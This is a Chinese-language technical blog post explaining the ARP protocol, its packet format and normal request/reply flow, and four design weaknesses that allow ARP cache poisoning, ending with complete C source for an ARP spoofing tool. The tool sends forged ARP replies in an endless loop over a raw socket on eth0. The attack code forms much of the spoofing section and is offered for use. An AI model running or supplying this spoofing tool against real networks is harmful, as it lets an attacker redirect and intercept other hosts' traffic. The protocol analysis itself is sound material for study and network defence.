0 引言

IP协议之所以如此广泛地被应用于全球,一个重要的原因就是它可以运行于几乎所有链路层之上,如点对点的串行线路、环网FDDI,当然目前支撑IP协议的最普遍的链路层还是以太网。对于点对点的串行线路,只有两个节点,没有物理地址定义的必要;而对于像以太网这样的广播型网络,网络上的每一个节点都会有一个物理地址来唯一标示。

IP层生成的数据报必须通过实际的物理链路层才能变成真正的物理信号发送出去,而往哪里发送,在IP层取决于目的IP地址,但是链路层并不知道目的IP是什么东西,它是按照目的MAC地址发送物理信号的,所以在发送IP数据报之前必须要知道对应的目的MAC地址,这个根据IP找出对应MAC的功能就有ARP协议实现。

1 ARP包格式

ARP协议原理与缺陷(附ARP欺骗源代码)_Windows

上图为以太网上ARP数据报的完整格式,绿色区域就是ARP协议的内容。需要注意的是由于以太网的数据部分大小必须是在46-1500之间,而ARP包只有28个字节,所以需要填充18个字节才能满足要求。

其中ARP对应的以太网帧类型值为0x0806。

ARP协议里,链路层地址类型是以太网,值为1;网络层类型为IP,值为0x800;链路层地址长度为6;网络层地址长度为4;op是区分ARP请求与应答的标志,1表示请求,2表示应答;发送端以太网地址表示发出本次ARP包的主机MAC,发送端IP就是发出本次ARP包的主机的IP地址;目的MAC,目的IP同上,只是表示的是接收端的情况。

2 ARP请求与应答正常流程

下面根据op的类型讨论。

网络拓扑如下:

 ARP协议原理与缺陷(附ARP欺骗源代码)_链路层_02

 

 

 

假设主机A不知道主机B的MAC,那么A要发出arp请求。当op=1,表示是arp请求。arp包中此时目的MAC地址是不知道的,用0x000000000000填充,目的IP是192.168.0.101。

以太网包的目的MAC必须是广播地址0xFFFFFFFFFFFF,以太网的源MAC和arp包的发送端MAC一样都是主机A的MAC,即0xAAAAAAAAAAAA。主要数据如下:

以太帧源MAC: 0xAAAAAAAAAAAA

以太帧目的MAC: 0xFFFFFFFFFFFF

ARP op = 1

ARP发起端MAC:0xAAAAAAAAAAAA

ARP发起端IP:192.168.0.100

ARP目的端MAC: 0x000000000000

ARP目的端IP:192.168.0.101

 

由于是以太网广播帧,所以交换机上所有的主机(除了发送的主机)(如果有Vlan功能,则必须同一Vlan)都能收到这个帧,收到帧后交予ARP模块处理,arp模块分析ARP包中的目的端IP,网关发现本机的IP与之不同,那么就简单的丢弃;主机B发现与其自身的IP相同,于是向A主机发送ARP reply。

以太帧源MAC: 0xBBBBBBBBBBBB

以太帧目的MAC: 0xAAAAAAAAAAAA

arp op=2

ARP发起端MAC:0BBBBBBBBBBBB

ARP发起端IP:192.168.0.101

ARP目的端MAC: 0xAAAAAAAAAAAA

ARP目的端IP:192.168.0.100

此时的以太网帧是单播,只有A能收到,A收到后交予ARP模块处理,ARP模块提取ARP发起端IP和发起端MAC(192.168.0.101,0xBBBBBBBBBBB),将其记录如arp高速缓存。

3 ARP的缺陷

上面描述的是一切正常的情况,但是ARP协议不是一个安全的协议,可以人为的构造ARP包来欺骗之。

3.1 ARP 请求与应答不需要配对

主机收到arp应答时,不管以前是否发出对应的请求,均接受并更新arp缓存。这样就导致了,可以向任何主机发送虚假的arp应答,如:

以太帧源MAC: 0xBBBBBBBBBBBB

以太帧目的MAC: 0xAAAAAAAAAAAA

arp op=2

ARP发起端MAC:0xBBBBBBBBBBBB

ARP发起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

此时,主机B发出一个欺骗arp应答,告诉A,192.168.0.1这个IP对应的MAC是主机B。这样A以后发往192.168.0.1的所有以太帧都发送到主机B上了。

更重要的是,arp不检查ARP目的端MAC与目的端IP。

3.2 ARP reply也可以广播

上面所描述的reply包都是单播的,但实际上reply包也可以是广播,如下:

以太帧源MAC: 0xBBBBBBBBBBBB

以太帧目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP发起端MAC:0xBBBBBBBBBBBB

ARP发起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

 

此时网段内的所有主机都会被欺骗,认为网关192.168.0.1是主机B。

经过实验验证,WindowsXP会受到ARP reply广播包的欺骗,但是Windows7不会,但是Windows7会受到单播reply的欺骗。

3.3 以太帧的源MAC和ARP包里的发起端MAC可以不同

正常情况下,以太帧的源MAC和ARP包里的发起端MAC是完全一样的。但是实际上ARP依靠的是ARP包里的发起端MAC,而不是以太帧的源MAC。如下:

以太帧源MAC: 0xBBBBBBBBBBBB

以太帧目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP发起端MAC:0xCCCCCCCCCCCC

ARP发起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

此时,把192.168.0.1对应到了一个MAC:CCCCCCCCCCCC,这个MAC可以是任意的。

3.4 以太帧的源MAC可以是任意的

这个其实不是ARP协议的问题了,而是以太网卡自身的问题。如下:

以太帧源MAC: 0x888888888888

以太帧目的MAC: 0xFFFFFFFFFFFF

arp op=2

ARP发起端MAC:0xCCCCCCCCCCCC

ARP发起端IP:192.168.0.1

ARP目的端MAC: 0xAAAAAAAAAAAA

 

此时,会造成无法查找发起ARP欺骗的主机MAC的难题,就算是知道受骗了,也不知道是被谁欺骗的。

 

附ARP欺骗源码:

 1 #include <stdio.h>
 2    #include <stdlib.h>
 3    #include <string.h>
 4    #include <sys/socket.h>
 5    #include <netinet/in.h>
 6   
 7    /*arp包结构*/
 8    struct arp_packet
 9    {
10       unsigned char hard_type[2];
11       unsigned char pro_type[2];
12       unsigned char hard_len;
13       unsigned char pro_len;
14       unsigned char op[2];
15       unsigned char mac_sender[6];
16       unsigned char ip_sender[4];
17       unsigned char mac_target[6];
18       unsigned char ip_target[4];
19   } __attribute__ ((__packed__));
20  
21   /*以太包结构*/
22   struct ethernet_packet
23   {
24       unsigned char mac_des[6];
25       unsigned char mac_src[6];
26       unsigned char frame_type[2];
27       struct arp_packet arp;
28       unsigned char pad[18];
29   } __attribute__ ((__packed__));
30  
31   /*初始化arp*/
32   static void init_arp(struct ethernet_packet *ep)
33   {
34       ep->frame_type[0] = 0x08;
35       ep->frame_type[1] = 0x06;
36       ep->arp.hard_type[0] = 0x00;
37       ep->arp.hard_type[1] = 0x01;
38       ep->arp.pro_type[0] = 0x08;
39       ep->arp.pro_type[1] = 0x00;
40       ep->arp.hard_len = 0x6;
41       ep->arp.pro_len = 0x4;
42       ep->arp.op[0] = 0x00;
43       ep->arp.op[1] = 0x02;
44       memset(ep->pad, 0, 18);
45   }
46  
47   /*16进制字符变为数字*/
48   static unsigned char ahex_to_num(char a)
49   {
50       int num;
51       a = a | 0x20; //转换为小写字母
52       if(a<='9' && a>='0') {
 53         num = a - 0x30;
 54     } else if(a<='f' && a>='a') {
 55         num = a - 'a' + 10;
 56     } else {
 57         num = 0xFF;
 58     }
 59     return num;
 60 }
 61 /*MAC地址字符串变为数字
 62  *返回值: 0--成功;其他--失败
 63  * */
 64 static int get_mac_from_asci(char a_mac[12], unsigned char h_mac[6])
 65 {
 66     int i=0;
 67     for(i=0; i<12; i+=2) {
 68         if((a_mac[i]>='0' && a_mac[i]<='9') || (a_mac[i]|0x20>='a' && a_mac[i]|0x20<='f')) {
 69             h_mac[i/2] = 16 * ahex_to_num(a_mac[i]) + ahex_to_num(a_mac[i+1]);
 70         } else {
 71             printf("MAC地址格式:AABBCCDDFFGG\n");
 72             return -1;
 73         }
 74     }
 75     return 0;
 76 }
 77 /*构建arp, 返回值:0--成功*/
 78 int  build_arp(struct ethernet_packet *ep, char* e_mac_src, char* e_mac_des, char* arp_mac_send, char* arp_ip_send, char* arp_mac_tgt, char* arp_ip_tgt)
 79 {
 80     init_arp(ep);
 81     struct in_addr inaddr;
 82     if(0==inet_aton(arp_ip_tgt, &inaddr)){
 83         printf("目的ip地址输入错误\n");
 84         return -1;
 85     }
 86     memcpy((void*)ep->arp.ip_target,  (void*)&inaddr, 4);
 87     if(0==inet_aton(arp_ip_send, &inaddr)){
 88         printf("发起ip地址输入错误\n");
 89         return -2;
 90     }
 91     memcpy((void*)ep->arp.ip_sender,  (void*)&inaddr, 4);
 92
 93     if(get_mac_from_asci(e_mac_src, ep->mac_src) ||
 94             get_mac_from_asci(e_mac_des, ep->mac_des) ||
 95             get_mac_from_asci(arp_mac_send, ep->arp.mac_sender)||
 96             get_mac_from_asci(arp_mac_tgt, ep->arp.mac_target)) {
 97         printf("读取MAC地址出错\n");
 98         return -1;
 99     }
100 }
101 int main(int argc, char** argv)
102 {
103     struct ethernet_packet ep;
104     if(build_arp(&ep, argv[1], argv[2], argv[3], argv[4], argv[5], argv[6])) {
105         printf("Usage: marp mac_src mac_des mac_send ip_send mac_tgt ip_tgt\n");
106         return -1;
107     }
108     printf("成功了,啦啦啦\n");
109
110     int fd = socket(AF_INET, SOCK_PACKET, htons(0x0806));
111     if(fd<0) {
112         perror("socket");
113         exit(-1);
114     }
115     struct sockaddr sa;
116     strcpy(sa.sa_data, "eth0");
117     while(1) {
118         sendto(fd, &ep, sizeof(ep), 0, &sa, sizeof(sa));
119         sleep(5);
120     }
121     close(fd);
122     return 0;
123 }